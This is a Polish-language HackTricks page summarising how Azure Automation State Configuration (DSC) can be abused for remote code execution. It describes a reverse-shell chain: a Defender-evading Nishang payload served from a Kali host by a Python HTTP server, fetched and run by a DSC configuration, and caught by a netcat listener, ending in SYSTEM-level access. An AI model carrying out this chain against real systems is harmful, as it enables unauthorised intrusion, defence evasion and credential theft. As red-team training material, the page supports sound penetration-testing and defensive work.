Az - State Configuration RCE

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Sprawdź pełny post na: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Podsumowanie przygotowania infrastruktury zdalnego serwera (C2) i kroki

Przegląd

Proces polega na skonfigurowaniu infrastruktury zdalnego serwera do hostowania zmodyfikowanego ładunku Nishang Invoke-PowerShellTcp.ps1, o nazwie RevPS.ps1, zaprojektowanego do omijania Windows Defendera. Ładunek jest serwowany z maszyny Kali Linux o adresie IP 40.84.7.74 za pomocą prostego serwera HTTP w Pythonie. Operacja jest wykonywana w kilku krokach:

Krok 1 — Utwórz pliki

  • Wymagane pliki: Potrzebne są dwa skrypty PowerShell:

  1. reverse_shell_config.ps1: Plik konfiguracji stanu pożądanego (DSC), który pobiera i wykonuje ładunek. Można go pobrać z GitHub.

  2. push_reverse_shell_config.ps1: Skrypt do publikowania konfiguracji na maszynie wirtualnej, dostępny na GitHub.

  • Dostosowanie: Zmienne i parametry w tych plikach muszą być dostosowane do konkretnego środowiska użytkownika, w tym nazw zasobów, ścieżek plików oraz identyfikatorów serwera/ładunku.

Krok 2 — Skompresuj plik konfiguracji

  • Plik reverse_shell_config.ps1 jest kompresowany do pliku .zip, co przygotowuje go do transferu do konta Azure Storage.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Krok 3 — Ustawienie kontekstu magazynu i przesłanie pliku

  • Skompresowany plik konfiguracyjny jest przesyłany do wcześniej zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent w Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Krok 4 — Przygotowanie maszyny Kali

  • Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Skrypt jest edytowany w celu określenia docelowej maszyny wirtualnej Windows oraz portu dla odwróconego powłokowego połączenia.

Krok 5 — Opublikuj plik konfiguracyjny

  • Wykonuje się plik konfiguracyjny, co skutkuje wdrożeniem skryptu odwróconej powłoki w określonym miejscu na maszynie wirtualnej Windows.

Krok 6 — Hostuj ładunek i skonfiguruj nasłuchiwanie

  • Uruchamiany jest serwer Python SimpleHTTPServer do hostowania ładunku, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Zaplanowane zadanie wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEMU.

Wniosek

Pomyślne wykonanie tego procesu otwiera liczne możliwości dalszych działań, takich jak wykradanie poświadczeń lub rozszerzenie ataku na wiele maszyn wirtualnych. Przewodnik zachęca do dalszego nauki i kreatywności w dziedzinie Azure Automation DSC.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated